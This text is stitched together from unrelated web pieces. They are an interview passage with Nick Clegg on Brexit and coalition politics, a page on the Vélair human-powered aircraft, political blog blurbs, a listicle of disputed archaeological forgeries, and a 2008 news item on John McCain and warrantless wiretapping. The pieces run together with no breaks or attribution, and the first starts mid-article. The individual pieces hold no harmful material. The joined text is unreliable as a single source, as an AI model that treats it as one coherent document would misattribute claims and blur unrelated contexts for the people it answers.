He reserves particular ire for the foreign secretary Boris Johnson, who he believes is damaging Britain's name on the world stage. The outspoken Brexiteer has aggravated a number of his European counterparts since taking up the position, not least for his contradictory statements about Turkey joining the EU.
"It's intensely embarrassing having this mop-haired buffoon as our foreign secretary, who thinks it's okay to frighten the living daylights out of the British people by claiming 80 million Turks could turn up at Dover if we were to remain in the EU and then without the slightest smidgen of embarrassment fly off to Ankara and say to the Turks 'welcome to the EU!' It beggars belief. I've never seen such unashamed and two-faced posturing.
"I think it doesn't serve the country very well at all because it leaves people at best amused and at worst completely lost on what the intentions are of this government and our country. It's as if we've taken this great leap in the dark and the pied pipers — Gove, Farage, Johnson, and so on — who successfully won the argument, don't seem in the slightest bit responsible or bothered to try and explain what happens next."
Darren Staples / Reuters
One of the issues at the very heart of the EU debate was immigration.
The Leave campaign declared Brexit would allow Britain to "take back control" of its borders by slashing the number of people entering from the 28-nation bloc. The prime minister has vowed to prioritise restricting immigration in Brexit talks but has been warned by figures like Guy Verhofstadt— the EU parliament's chief Brexit negotiator — that ceasing to accept the free movement of people will cost Britain its single market membership.
Surprisingly Clegg doesn't believe the negotiations will hinge on immigration. In fact he believes the issue of free movement could be more flexible than the likes of Verhofstadt have suggested.
"It's just not true to say that the free movement of people is some biblical principle since the dawn of time. That's not the case. The freedom of movement doctrine has evolved over time, not least since the creation of EU citizenship and numerous court cases since. And, crucially, there is profound concern in other countries about immigration generally. It would be very naive of Verhofstadt or anyone else to claim that the European public is unconcerned about immigration because that's just not true. Any democrat anywhere in Europe should acknowledge that the very large scale movement of people across the continent is unsettling a lot of voters.
"Any democrat anywhere in Europe should acknowledge that the very large scale movement of people across the continent is unsettling a lot of voters."
"If Theresa May was smart on this, which she isn't being, she would try to meet the EU half-way on this. I think there is a meeting point between the very large concern in some parts of the EU about immigration from elsewhere and British concerns about internal immigration in the EU. I think you can make a package that addresses both concerns.
"I think the biggest problem is May's fatwa against Britain abiding in any way with the single market and the European Court of Justice. That places Britain between a rock and a hard place. You cannot have maximum access to the single market free of bureaucratic impediments if you're not prepared to play by the rules. It's a marketplace of rules. It's simple — abide by the rules or don't.
"It's amazing. Everybody intuitively understands you can't wander into a golf club and get all the benefits of the membership without paying a fee and abiding by the rules. Yet the idea that you can get a free lunch at the club without abiding by the rules is nonsense. The exact same applies to the EU. Boris Johnson merrily says we can have our cake and eat it — but of course, we can't."
Working with former Prime Minister David Cameron
It was Clegg's former colleague David Cameron who decided to hold a referendum on Britain's EU membership.
It was a miscalculation of Shakespearian proportions that led to a political earthquake in the UK and his resignation both as prime minister and Tory leader.
"His legacy will be defined almost entirely by that spectacular misjudgment to hold the referendum as a ploy to placate the divisions within his own party ... It's a pity for him," Clegg said.
But, as we sit in his central London office, he admits that he still retains a great deal of admiration for his former colleague. "He was a really good coalition prime minister," Clegg said.
[Cameron's] legacy will be defined almost entirely by that spectacular misjudgment to hold the referendum.
"He was a pretty poor and rubbish Conservative prime minister. Even before the referendum, he and Osborne seemed unable to do anything right. When they were left to their own devices and free of the constraints of coalition they screwed up. They were incompetent the moment they finally got the prize that they'd always longed for.
"But as a coalition prime minister, which is a difficult thing to do, as is being a deputy coalition prime minister, he was really good. He was supple, he was flexible, he was good at trying to find accommodation between the two sides.
"The tragedy I always felt about his position was that he could never admit to his own side and to the barking mad folk at the Daily Mail and elsewhere that he actually quite liked being coalition prime minister. They could never admit to the indignity of enjoying sharing power. If he had made a virtue of that it would have highlighted his strengths — which as a coalition leader were really quite considerable."
But, the former prime minister's qualities aside, it will be always his decision to bow to the pressure of "obsessive" Tory Eurosceptics that will define his place in history, Clegg added. "One of the great myths perpetuated by the Brexit press is that there was a widespread popular public clamour for a referendum. Absolute rubbish. Even at the height of European controversies, the EU barely scratched its way into the top ten of public priorities. It was an absolute obsession for a political clique in Westminster and amongst their supporters in the press."
How the Liberal Democrats are gaining ground
The Liberal Democrats' strategy of appealing to the 48% appears to be working. In recent by-elections in Remain constituencies Witney and Richmond Park, the party increased its share of the popular vote by over 20%.
In the latter, Sarah Olney pulled off a stunning victory, winning 23% of the vote from former Tory Zac Goldsmith. If the party can target Remain seats where its biggest rival is the Conservative Party with the same effectiveness, then up t0 20 seats could be up for grabs at the next election, giving rise to the possibility of another coalition government.
Farron hinted earlier this year that he would be willing to take the Lib Dems back into a coalition government if the opportunity arose, despite the electoral disaster that awaited the party after its role in the most recent coalition.
Clegg echoed the comments of his successor, suggesting the party had a duty to seize power if given the chance.
Nick Clegg announces his resignation as leader of the Liberal Democrats. May 8, 2015. Eddie Keogh/Reuters
"I think what Tim was saying quite rightly is that the point of being in politics is not just to throw stones at your opponents — it's to do stuff. If you have the opportunity to do stuff then you should think hard about doing so," he says.
"Politics isn't about academia. It's rough old business where the prize is to change the world where you see for the better. You can only do that if you're prepared to get your hands dirty and exercise power. It'd be foolish of Tim to rule out an appetite to do stuff."
"Progressive alliance" is a buzz-phrase in British politics at the moment. With Labour looking unlikely to form the next government, some people favour parties of the left developing a collaborative strategy in order to keep May's party out of power. This would involve parties stepping aside in certain constituencies to make it easier for another 'progressive' party to win the seat.
"There is a chronic need for non-conservative parties to apply proper scrutiny and accountability to government that only secured less than a quarter of the public vote," Clegg told us. "But how that cooperation comes about I find much more difficult to predict."
"Labour can never wield power again without sharing power again."
"Oddly enough, I don't think the question [of a progressive alliance] should be directed at the Liberal Democrat — but the Labour Party. Until the penny drops in Labour, it can never win again under the present arrangements. As long as the Scottish nationalists dominate Scotland Labour can never win again. Labour needs to have a dark moment of the soul where it asks itself what is it in politics for. Labour can never wield power again without sharing power again.
"If the Labour Party get that, which they clearly don't at the moment, then conversations could start."
There was some talk of Clegg quitting politics altogether after witnessing his party collapse. The MP looked deflated and defeated when he announced his resignation as leader, but he believes it would have been wrong to "flounce off prematurely". There is a strong chance that this parliament will be his last, though, with a decision yet to be made on whether he'll stand at the next general election.
"I've been an MP for 11 years and I've been in politics a lot longer than that. I'm about to turn 50. Do I want to spend my whole fifties carrying on in politics?
"I will tell my constituency party before I tell anybody else having made up my mind in the next year or so.
human powered aircraft V�lair
Human powered flight (in English)
This page was last updated: 5 Aug 2001
Fliegen wie ein Mensch (in Deutsch)
Vélair 89 was the first aircraft to fly "from" Munich airport (MUC) runway in the summer of 1990
This was Vélair 88 during a flight in Malmsheim near Stuttgart. Notice the old (stiffer) wing and rudder, and the video camera on top of the fuselage.
Vélair was built in the original version '88' and improved during the following year, the "89" version, mainly with a new wing (larger, higher aspect ratio, lighter, thinner, nicer, cheaper, lower drag... :-))
Version Vélair 88 Vélair 89 first flight 9 August 1988 24 September 1989 its wing was later recycled for the Icaré 1 solar powered aircraft of Stuttgart University Features wing platform
number of segments double trapeze
3 pieces
cantilever rectangle/trapeze
5 pieces
cantilever seat position recumbent 40 ° " controls 3-function cardan sidestick (on the RH side) " roll control (electric) aileron rotating wing tip yaw control push rods & cable, all flying rudder " pitch control push rods & cable with "bungee" trim, all flying elevator " Geometry Wing span 71.2 ft (21.7 m) 76.1 (23.2 m) Wing area 176.5 sqft (16.4 m²) 183 sqft (17 m²) Aspect ratio 27 31.7 Weights Empty weight 83.6 lbs (37.9 kg) 67.2 lbs (30.5 kg) Max take off weight 220 lbs (100 kg) 220 lbs (100 kg) Power loading 396 kg/kW (!!!) Wing loading 25.9 lbs/sqft (5.3 kg/m² ) Wing weight 52.5 lbs (23.8 kg ) 36.8 lbs (16.7 kg ) Propulsion prop diameter
prop speed
number of blades 8.9 ft (2.70 m)
190 rpm
2 blades
carbon shell with web
ground adjustable pitch " power transmission twisted chain +
carbon driveshaft " Construction Fuselage carbon sandwich space frame with Polystyrol/GFRP sandwich fairing wing spar I-beam spar: CFRP (T300/HYE 1048) caps, GFRP/Rohacell sandwich web tailored CFRP (T800/M10) tube spar wing shell GFRP/Polystyrol sandwich Polystyrol wing ribs Styrodur with carbon caps Styrofoam with balsa caps wing cover - Hostaphan wing airfoil (thickness) FX 63-137 (13.7%) PF 25 (12.9%) ultimate load factor 3.0 g 3.36 g (ultimate load, tested) Speeds design speed 17 KEAS (31 km/h, 8.6 m/s) stall speed 15 KEAS (27 km/h; 7.5 m/s) max horizontal speed (power limited 0.4 HP) 22 KEAS (41 km/h; 11.4 m/s) never exceed speed (torsional divergence limited) 27 KEAS (51 km/h; 14.2 m/s) Performance design power 3.75 Watt/kg pilot weight) (225 W) @ 90kg gross weight) Take off distance (198 lbs/90kg, ISA, no wind) ~260 ft (~80 m) Rate of climb @ 0.4 HP (300 W) climb power 20 ft/min (0.1 m/s) well...
Thanks to the team
Thanks to our sponsors
Also thanks to F.J.Arendts, R.Eppler and E. Messerschmid from University of Stuttgart for their logistic (workshop), scientific and morale support.
Also biggest gratitude to the industry for giving this and that:
Bakelite (resins), Beiersdorf (adhesive films), Blaschke Aeolite pedals, Daimler Benz (fuselage 3-D panel calculations, test field), Eurocomposites (honeycombs), Fiberite (carbon prepregs), Gaugler & Lutz (Airex thermoplast foam), Kalle/Höchst (Hostafan film), INA Schäffler (metallic bearings), Grünzweig & Hartmann (Styrodur foam), MBB / Donauwörth (autoclave run), Mutliplex (aileron control servos), Röhm (Rohacell), Velotraum (cycling shoes), Brodbeck (seal tape), DLR (water jet cutting machine), Roland Schirrmacher (prop mold), Martin Siegwarth & Thorn Richter (flight data aquisition system & sensors), MBB Manching, airport München, aeroport de Paris (runways), Polaroid (ultrasonic altimeter), university of Stuttgart (workshop, metallic parts).
do I have to be a bicycle champion to fly this aircraft ?
This depends on the individual's shape and weight. The power required to "cruise" is about 3.75 Watt/kg body weight which can be sustained for 1...2 hours by a well trained athlete. Try yourself on an ergometer to find out. Typical heart rate is about 160 /minute which is not exactly relaxing, but still bears some margin to the red line.
what is the power required ?
With 90 kg gross weight about 225 Watt are required for unaccelerated horizontal flight (this includes transmission losses and propeller efficiency). Would this power be provided by a combustion engine this would correspond to a fuel consumption of 0.24 liter/100km (this is a milage of 848 mpg) !!!
what is it made of ?
The primary structure is made of carbon fiber reinforced epoxy, with custom fabricated and tailored tubes with or without a sandwich core. Those prepreged materials have to be cooked with pressure and temperature. The secondary structure is made of all kinds of foams, wood, and a very light cover film (Hostaphan). Genious fabrication methods were developed to enable production and make it robust.
how fast does it fly ?
The speed range is between 27 and 45 km/h (14...25 KEAS) with minimum power required speed at 31 km/h (17 KEAS)
where can I buy one ?
Nowhere. If you make a good offer I'll build you your own one ! (and they get better each time)
what about wind ?
No problem as long as it is smooth and directed right on to the nose. 12 knots have been demonstrated on the Paris Air Show. But cross wind is a show stopper.
how does it fly ?
Well, not too bad. Pitch response is sensitive, rudder authority is OK, and roll control is kind of slow, specially during take off. In flight it is fully stable and does not need input when correctly trimmed and if there is no turbulence. Turns are induced with rudder and aileron, but then cross aileron (against turning direction) is required soon to support the inner wing. Throttle response and spool up is pretty fast but excess power is lowsy.
Why is the wing so flexible ?
There is no gramm of material wasted, it is just stiff enough to support the fuselage and stay in an efficient shape. As a cantilever wing with such a high aspect ratio the structural design driver is stiffness rather than strength. That's why the safety margin to ultimate load is ample.
how long does it take for take off ?
With no wind ca. 80 m (260 ft). The nose wheel can be rotated off quite soon so that the take off run is on the main wheel only. High concentration is required to keep the wings level with bad low speed roll control authority. Of course MTO power is applied until a slight rotation of a few degrees lifts us off. As soon as cruise altitude is reached power can be reduced.
How is the aircraft transported ?
We modified an old sailplane trailor to accomodate the large dimensions, specially the high fuselage. The largest wing segment is 7.50 m long.
What for is this aircraft anyway ?
imagine you ride your bike at 30 km/h, then slightly pull on the sidestick and rotate to continue to ride in a couple of meter above ground level. Now after a slight turn you float over the meadows, jump over a small fence, cross that creek... Isn't that a reason ?
To make fly a human body on his own low-sy power is quite a challenge. Challenges must be addressed.
How to configure, design and make such an aircraft resulted in plenty of valuable lessons learned about configuration, layout, detail design, aerodynamics, performance, stability and control, aeroelasticity, fabrication techniques, light weight materials... that are applicable to other high performance aircraft, specially for the cases where propulsion power is strongly limited like for high altitude aircraft that are designed to fly in the stratosphere, or for aircraft with very low fuel consumption and long endurance.
What is GFRP and CFRP ?
glass and carbon fiber reinforced plastic, using epoxy resins as a matrix. Aramid fibers have been used as well. Hand laminating of fabrics as well as prepreg curing of UD-layers as been applied. Intermediate modulus carbon fibers and a low pressure low temp cure resin prepreg were used for the Vélair89 spar.
At the Interlaken Human Power Festival August 1999.
26 January: presentation to VDI-Verein Ulm: "Fliegen wie ein Mensch"
16 March: presentation to SAMPE (Society for the advancement of materials and process engineering) /University of Stuttgart: "Fliegen wie ein Mensch"
Vélair on Discovery Channel: "Extreme maschines" (Pioneer Productions)
on Discovery Channel: "Extreme maschines" (Pioneer Productions) Vélair at ARD Tigerentenclub: May (including some short snapshots about Pelargos 3 and the very first flight Vélair 88 )
at ARD Tigerentenclub: May (including some short snapshots about and the very first flight ) Spokes Festival in Leicester /UK: 28...31 July ( Airglow HPA will be on display)
HPA will be on display) Fahrradausstellung in Nürnberg Fall 2000 (perhaps with flight demo). Whether flights will be possible depends on time on hand for the preparation, same procedure as last year. This will be posted here in time.
12 August: Sorry, no demo flights in Nürnberg, there will be no event on an airfield.
Fliegen mit 225 Watt. Muskelkraftflugzeuge und Anwendungen. Deutsche Gesellschaft für Luft und Raumfahrttechnik, Oktober 1990, Bonn.
Human powered aircraft, the limits of light weight construction: OSTIV symposium Wiener Neustadt 1989.
The human powered aircraft Vélair: design details and result of structural, prop and flight tests. AIAA International human powered flight symposium August 1994, Seattle Washington, USA.
design details and result of structural, prop and flight tests. AIAA International human powered flight symposium August 1994, Seattle Washington, USA. Human powered flight as a sport. Symposium at the Royal Aeronautical Society January 1996.
Design of aircraft with minimum required power. Stuttgart 1990.
Technological spin off from human powered to high altitude long endurance aircraft. The Royal Aeronautical Society, London January 1999.
Keith Sherwin: Man powered flight. Model & Allied publications Argus Books ltd, Kings Langley UK, 1971.
Morton Grosser: The gossamer Odyssey. Houghton Mifflin Company, Boston USA, 1981.
Gary Dorsey: The Fullness of Wings . Viking Pinguin, New York USA, 1990.
I can't wait to find out what Senate Republican Communications Center memo this map was cut and pasted from, as is.
Blaming Canada: Why is Canada trying to kill us, all the time? Alex Pareene goes looking for answers: "Thank god we live in the land of the free, where anyone, regardless of race, creed, or color, can fly to Arizona to receive the best medical care in the world, and then file a lawsuit against the government of Canada asking them to foot the bill."
Weigel Gets Famous: The Washington Independent's Dave Weigel is gathering all the right sorts of antagonists. Aren't the "Transparency Dodgers" sitting atop the National League West right now?
What's Larry Craig Been Up To?: According to the Idaho Statesman, he's founded a new consulting firm named New West Strategies, LLC. So, then: JOKES.
10 Dumbuck Crannog
On July 31, 1898, artist and amateur archaeologist William Donnelly apparently made an incredible discovery at Dumbuck on the northern shore of Scotland’s Firth of Clyde. An ancient stone-and-timber breakwater, perhaps dating back to the 2nd century BC, perfectly preserved by a change in the river’s path. It was enough to warrant a full-scale excavation, and when we say “excavation” we mean in the 19th century sense of hacking away with spades. The general public were even allowed to wander onto the site and do some digging for treasures of their own.
Despite the primitive techniques, the excavation did turn up a log boat, lots of bones, and a number of extraordinary carved shales. These stones, inscribed with faces and images of animals, were unlike anything previously found in Scotland. And that’s where the controversy started. In 1899, the eminent archeologist Robert Munro came forward to argue that the site had been compromised by the chaotic dig and that the carvings were almost certainly forgeries.
Munro’s comments kicked off a massive war of words with Donnelly and his supporters and the Glasgow Herald and the Evening Times published tens of thousands of words arguing back and forth over whether the find was real. In 1905, Munro brought out the heavy artillery, publishing a 400-page book proving in painstaking detail that the shales were a modern fraud. Donnelly died shortly afterward, supposedly from the strain of dealing with the controversy. Modern historians side with Munro, with antiquarian Alex Hake telling the Scotsman that “the site itself is bona fide. It’s recognized as a crannog, but it’s clear the shale artifacts are fakes.”
In 1998, archaeologists went back and excavated a single trench through the site, in hope of making sense of what was left. They discovered fake artifacts still sitting where they were planted, but no clue as to who planted them. Donnelly’s rage at the suggestion they were fake seemed to rule him out and so many people were milling about the excavation site that they could have been “discovered” by almost anyone.
9 The Praeneste Fibula
Photo via Wikimedia
If it’s real, the Praeneste Fibula would be perhaps the earliest Latin inscription ever found. According to Wolfgang Helbig, the scholar who presented it to Rome’s German Institute in 1886, the gold dress pin had been discovered in 1871 at a site dating to the 6th century BC. He didn’t tell them the whole story, though, leaving out the fact that he had acquired it from Francesco Martinetti: smuggler, forger, and seller of less-than-reputable antiquities. When that bit of information got out, the pin started to look a little suspicious.
For starters, it was supposedly found in the Bernardini Tomb, which was excavated in 1876, not 1871. Helbig wasn’t able to explain where in the tomb it was found or who discovered it. But he had a good reputation as an archeologist and suspicions about the pin were mostly ignored until 1980, when expert Margherita Guarducci undertook a detailed study of the piece. Guarducci found that the gold used in the pin had been treated with an acid, presumably to make it look old. Otherwise, it didn’t resemble any other ancient gold found in the area. And the inscription itself bore a striking resemblance to samples of Helbig’s own handwriting.
Martinetti was definitely shady—his house was torn down after his death, revealing countless fakes hidden inside. But why would a respected scholar like Helbig help Martinetti deal in forgeries? Especially since he was married to a wealthy Russian princess and definitely didn’t need money. The writer William Calder speculated that he might have been subject to blackmail, thanks to his regular visits to the house of art collector Edward Perry Warren, where “women were not welcomed.”
But that’s just speculation and experts are now beginning to think that Helbig might be vindicated after all. In 2011, the Prehistoric and Ethnographic National Museum held a round table of experts in the hopes of getting to the bottom of the matter of the pin once and for all. Their decision, made with the benefit of new technology not available to Guarducci, was that the pin was absolutely authentic, inscription and all.
8 The Jordan Lead Codices
In 2011, the archeological world was abuzz with the news that a treasure trove of ancient lead codices had been found in a cave in Jordan. Touted as authentic by the Jordanian authorities, the ancient books had about 15 lead pages each, held together with rings like an ancient binder. It was speculated that the codices might have been compiled by Jewish mystics or by an early group of Hebrew Christians who fled Jerusalem for the safety of the desert.
But immediately after the initial Jordanian statement, all news about the codices ceased. Meanwhile, historians studied the images of the codices and concluded that they appeared to be clear forgeries, featuring “crude representations of publicly available images.” A metallurgy test by Oxford University concluded that the lead books weren’t modern, but could have been made at any time prior to the 20th century, raising the possibility that the codices were simply a set of 19th century fakes that were mistaken for the real thing by their overeager discoverers.
While Jordanian officials remain silent on the matter, others have taken a crack at authenticating or debunking the codices. According to Aramaic translator Steve Caruso, the inclusion of newer letters with genuinely ancient ones makes it clear that the inscriptions are fake. Archaeologists from Oxford have gone further and claimed that the inscriptions are at most 50 years old, but other scholars continue to believe they could be real.
7 The Pevensey Bricks
Photo via Wikimedia
A Pevensey Brick is currently in the collection of the British Museum—with the addendum that it’s “probably a fake.” The artifact is one of at least two fired clay bricks or tiles stamped with the letters “HON AVG ANDRIA” found in Pevensey, Sussex. If the bricks are real, they would be evidence of the last major building project before the Romans abandoned Britain in the reign of Emperor Honorius. It is assumed that “HON AVG” stands for “Honorius Augustus,” with “ANDRIA” standing for a previously undated Roman shore fort known as Anderida (the remains of which are pictured).
The problems start with the man who supposedly discovered the bricks: Charles Dawson. If that name sounds familiar, its because Dawson also “discovered” the Piltdown Man fossil, one of the most infamous hoaxes in archeological history. The lettered bricks were apparently discovered during an excavation he carried out in 1902. We’re not even sure how many of them Dawson claimed to have found. Records detail the existence of three, with suggestions of a fourth, but there are currently only two confirmed examples in the British Museum and the Lewes Museum.
Tests now indicate that the bricks were probably made sometime in the last 350 years, although the Lewes brick at least seems to have been repaired, leading to suggestions that the tests could be inaccurate. However, the tests and anomalies in the style of the stamping on the bricks seem to indicate that they’re another of Dawson’s fakes.
6 The Davenport Tablets
Photo via Wikimedia
The Davenport Academy was a major force in early American amateur archeology. Unfortunately, the organization ended up lending its name to one of the most ridiculous hoaxes in American history. In 1877, Reverend Jacob Gass claimed to have found a set of four inscribed tablets buried in an ancient mound in Iowa. Gass was quickly invited to join the Davenport Academy, which contained many supporters of the “Mound Builders” myth.
This theory, now entirely discredited, argued that Native Americans were too primitive to have built the giant earthworks that dot the American countryside. Instead, 19th century historians believed that a “lost white race” must have built the mounds. The Davenport Tablets seemed to support this hypothesis, since the writing was clearly influenced by early European languages. Historians across America quickly set to work to decipher the baffling text.
After eight years of studying the tablets, the ethnologist Cyrus Thomas sensationally concluded that the tablets were complete frauds. Experts had been unable to decipher the text because it was actually a random collection of letters and symbols from a variety of different languages. Even musical notation was mixed in. To make matters worse, many of the symbols were simply pulled straight from page 1,766 of the 1872 edition of Webster’s Dictionary.
This was a huge blow to the Davenport Academy and president Charles Putnam made matters worse by furiously trying to defend the tablets as authentic. However, the best argument he could muster involved nitpicking minor details in Thomas’s article. For example, he pointed out that Thomas had described an inscription surrounded by four lines, when it fact it was only surrounded by three. Unsurprisingly, most people were unconvinced and the Davenport Academy and the Mound Builders theory both underwent a rapid decline.
5 The Hercules Sarcophagus
The ancient Greek hero Hercules has long had an association with the Iberian Peninsula. In one version of the legend, the 10th of the demigod’s famous Twelve Tasks was retrieving the cattle of Geryon. Along the way, he shortened the trip a bit by smashing the Atlas Mountains and joining the Mediterranean Sea to the Atlantic Ocean. Even today, the straight between Gibraltar and Morocco is said to be flanked by the Pillars of Hercules. In another legend, Hercules died in Spain while leading an army there.
So there was great excitement in 1850, when Spanish stoneworkers uncovered a sarcophagus with detailed carvings that seemed to show Hercules surrounded by the signs of the zodiac and leading a procession of people and animals from Egypt to Spain. The workers had smashed the sarcophagus before realizing it might be important, but the pieces were supposedly collected and reassembled by local historian Buenaventura Hernandez y Sanahuja.
He published his findings in a book, concluding that an ancient people known as the Hyskos had fled to Spain after being driven out of Egypt, which they had ruled for a century between 1650–1550 BC. Hernandez y Sanahuja argued that a Hercules figure led an Egyptian expedition to Spain, where he teamed up with the locals to destroy the Hyskos once and for all, perishing himself in the final battle. This idea had a mixed reception in Spain, and was laughed out of town everywhere else, along with the carvings, which have been described as “cartoon-like” forgeries. Embarrassed, Hernandez y Sanahuja destroyed almost all copies of his book, although his work still turns up in some of the more outlandish pseudo-historical theories.
4 The Secret Gospel Of Mark
Photo via Wikimedia
The supposed Secret Gospel of Mark was discovered by an apparently reputable source: Columbia University professor Morton Smith. In 1973, Smith released two books claiming to have stumbled across a letter in the ancient monastery of Mar Saba (pictured). The letter was supposedly written by the early church father Clement of Alexandria and detailed the existence of a longer version of the Gospel of Mark, intended only for full initiates into the “mysteries” of Christianity. This long version apparently included Jesus raising a young man from his tomb, and a subsequent meeting between Christ and the recently raised boy.
The sections summarized in the letter seem somewhat suggestive, featuring the youth visiting Jesus at night “wearing a linen cloth over his nakedness” to be “initiated into the mystery of the Kingdom of God.” The letter’s version of Clement evidently agreed, complaining that heretical sects obsessed with “carnal doctrine” were falsifying the text to support their own interpretation. The letter ends with Clement recommending that the very existence of the Secret Gospel should be denied at all costs.
So is the letter real or a forgery? Well, it’s hard to be sure, since nobody can actually find it and Morton Smith apparently had most of his papers burned when he died in 1991. Under these circumstances, the letter would usually be dismissed as a fake, but Morton Smith was a genuinely respected scholar and many experts are reluctant to regard him as a forger without firm evidence. Whole books have been written debunking the letter, while others argue that it is authentic.
Almost nobody believes that the Secret Gospel alluded to in the letter was the original Gospel of Mark, cut down to produce the shorter version in the Bible. There just isn’t any other evidence for the existence of a longer gospel, even though it would doubtless have been a topic of hot debate at the time. That leaves the theory that Smith forged the whole thing, although it remains impossible to say for sure. Another possibility is that the letter is an ancient forgery, although the motive for that would be unclear.
Perhaps the most intriguing theory is that Clement did write the letter, but was wrong in his belief that Secret Mark was the original Mark. Clement was known to have a fascination with mystery rituals and might have been attracted to the idea of similar secret knowledge within Christianity. In fact, the dubious nature of some of Clement’s ideas caused the Catholic Church to drop his feast day in 1600, while the Eastern Orthodox Church is similarly reluctant to regard him as a full saint. But, again, there simply isn’t enough evidence to be sure.
3 Newark Holy Stones
Beginning in 1860, a Newark, Ohio, man named David Wyrick supposedly discovered two pretty incredible artifacts. The first, dubbed the “Decalogue Stone,” was a piece of limestone carved with an image of Moses and the Ten Commandments. The second was “the Keystone,” a wedge-shaped stone carved on four sides with the phrases “Holy of Holies,” “King of the Earth,” “The Law of God,” and “The Word of God.” While the Decalogue Stone is inscribed with an odd version of Hebrew, the Keystone uses Hebrew letters that date back to the time of the Dead Sea Scrolls.
The stones were initially touted as evidence of an ancient Jewish presence in North American, but experts now almost unanimously consider them to be hoaxes. Among other things, the Decalogue Stone is written in a garbled version of modern Hebrew and contains marks from a 19th century grinding stone. In fact, the biggest mystery surrounding the stones now seems to be the question of who forged them. Wyrick is the obvious suspect, but his sketches seem to indicate he lacked the artistic talent needed to carve the figure of Moses. So either someone else made the stones or Wyrick was particularly smart at hiding his con.
Meanwhile, various conspiracy theorists (and the History Channel) continue to tout the stones as genuine artifacts covered up by a nefarious archeological conspiracy. In fact, the History Channel documentary featured above led archeologist Brad Lepper to pen an acerbic response: “The idea that my colleagues and I are hiding the supposed truth about the Decalogue Stone is the most absurd claim of all. If we had actual evidence to prove that Hebrews had traveled to ancient America, we would get our pictures on the cover of National Geographic magazine. Large grants would be lavished upon us and we would get to re-write the textbooks. Why would I choose to remain an underpaid museum archaeologist when “fortune and glory” were within my grasp?”
2 The Grolier Codex
Photos via Wikimedia
In 1966, Mexican collector Josue Saenz was approached by a nameless person and told to get on a plane and not ask any questions. Naturally, Saenz agreed and was taken to an unknown location and given the opportunity to buy a supposed Mayan artifact known as the Grolier Codex.
At least, that’s the story told by Michael Coe, who first put the Codex on public display at New York’s Grolier Club. The book, which consists of 11 pages depicting images like the Mayan goddess Ix Chel, was supposedly found in a dry cave somewhere in Mexico and then sold to Saenz by persons unknown. If it’s real, the implications could be staggering. All but three Mayan codices were destroyed by the Spanish invaders, so a fourth survivor would be huge.
Obviously, the Grolier Codex’s mysterious origins quickly led to suspicions that it was a forgery. However, while previous attempts to forge Mayan codices contained obvious errors, it has been difficult to definitively prove the Grolier Codex a fake. It doesn’t contain any glaring mistakes and the paper seems to date to the correct period. On the other hand, blank Mayan paper isn’t uncommon, raising the possibility that someone used authentic paper to create a fake book. And the edges of the paper seem to have been cut cleanly, as with metal scissors or a knife, which the ancient Maya didn’t have.
Other details seem wrong. For example, the Codex centers around the movements of Venus, but doesn’t feature gods associated with Venus. And it doesn’t contain clear predictions, which are believed to have been the main purpose of Mayan codices. But since there are only three confirmed codices left, it’s hard to be sure if we have a clear picture of what they actually normally looked like.
1 James Ossuary
Photo via Wikimedia
The James Ossuary itself is the real thing, originating somewhere between the first century BC and 70 AD. It’s a rather unassuming-looking limestone box, one of a countless number of similar relics used to house the bones of the deceased. The controversy comes from a simple Aramaic inscription on the ossuary. If real, it could be the earliest known mention of Jesus Christ.
The inscription reads “James, son of Joseph, brother of Jesus.” It was originally authenticated by scholars from the Hebrew University of Jerusalem. However, a later investigation by the Israel Antiquities Authority declared it was a fake. The ensuing hail of fire and brimstone resulted in one of the largest forgery trials in recent history.
The ossuary’s owner, Oded Golan, was charged with leading a gigantic criminal operation centered around forging valuable antiquities. The trial lasted 7 years and featured 400 exhibits and 12,000 pages of documents. It resulted in the accused being cleared of all forgery charges, but the debate around the relic’s authenticity remains.
For starters, nobody seems to know where the ossuary actually came from. Golan claims to have bought it in 1976, but has no idea where it was originally found. An intriguing possibility surfaced in 2015, when geologist Aryeh Shimron claimed to have linked chemical samples from the James Ossuary to the soil of the Talpiot Tomb. An archeological site in Jerusalem, the Talpiot Tomb contained 10 ossuaries with names like “Jesus, son of Joseph” and “Mary,” leading to speculation that it could be the family tomb of Jesus. Only nine of the ossuaries from the tomb are accounted for. Perhaps the James Ossuary is the 10th?
The hypothesis is interesting, but there are three problems. Firstly, the Talpiot Tomb was excavated in 1980, four years after Golan says he bought the James Ossuary. However, it’s worth noting that artifacts bought after 1978 can be seized by the Israeli government, giving Golan good reason to claim an earlier date. The second problem is that the 10th ossuary from Talpiot didn’t just vanish—the archeologists who discovered it said it was so broken and uninteresting that they threw it out. Finally, even if the James Ossuary was from Talpiot, that doesn’t definitely connect it to Christ. Archeologists note that the name Jesus wasn’t uncommon at the time and generally reject a link between Talpiot and the Biblical figure.
Published: Friday June 6, 2008
Print This Email This The evolution of John McCain's position on warrantless wiretapping and executive power gives critics a potential one-two punch against the presumptive Republican nominee: the ability to paint him as "McSame" as President Bush and as a flip-flopper. A McCain adviser this week affirmed the Arizona senator's support for President Bush's ability to authorize the National Security Agency to eavesdrop on Americans' international communications without first receiving a warrant, which critics say violated the Foreign Intelligence Surveillance Act. This, after McCain himself said explicitly that the President cannot "disobey any law" to conduct warrantless surveillance. In a letter to the conservative National Review Online, McCain adviser Doug Holtz-Eakin underscored McCain's support for a Senate bill granting immunity to the telecommunications companies that facilitated the NSA's warrantless surveillance and declared that neither President Bush nor those companies should "apologize for actions that most people, except for the ACLU and trial lawyers, understand were Constitutional and appropriate in the wake of the attacks on September 11, 2001." Holtz-Eakin's letter was an attempt to dial back earlier reports that McCain might be shifting on the immunity issue. A campaign legal adviser told a conference last month that a McCain administration would subject the telecommunications companies to "real hearings to find out what actually happened, what harms actually occured." The letter emphasized that such hearings would not be necessary and insisted that McCain "do everything he can" to protect against terror threats, including invoking his constitutional authority to request surveillance assistance from the telephone and Internet companies. While McCain's position on wiretaps and telcos is zigging this way and that, a new report also details the extent to which lobbyists who earned a living representing the very phone companies accused of breaking the law are now working for his campaign. The Electronic Frontier Foundation, which is leading the charge against telco immunity and representing plaintiffs in several pending lawsuits, lays out the connections: Last fall Newsweek reported on the telecom's "secretive lobbying campaign to get Congress to quickly approve a measure wiping out all private lawsuits against them for assisting the U.S. intelligence community's warrantless surveillance programs." The magazine named some of the chief telecom immunity lobbyists:
Among the players, these sources said: powerhouse Republican lobbyists Charlie Black and Wayne Berman (who represent AT&T and Verizon, respectively), former GOP senator and U.S. ambassador to Germany Dan Coats (a lawyer at King & Spaulding who is representing Sprint) ...
All three are now working with McCain....
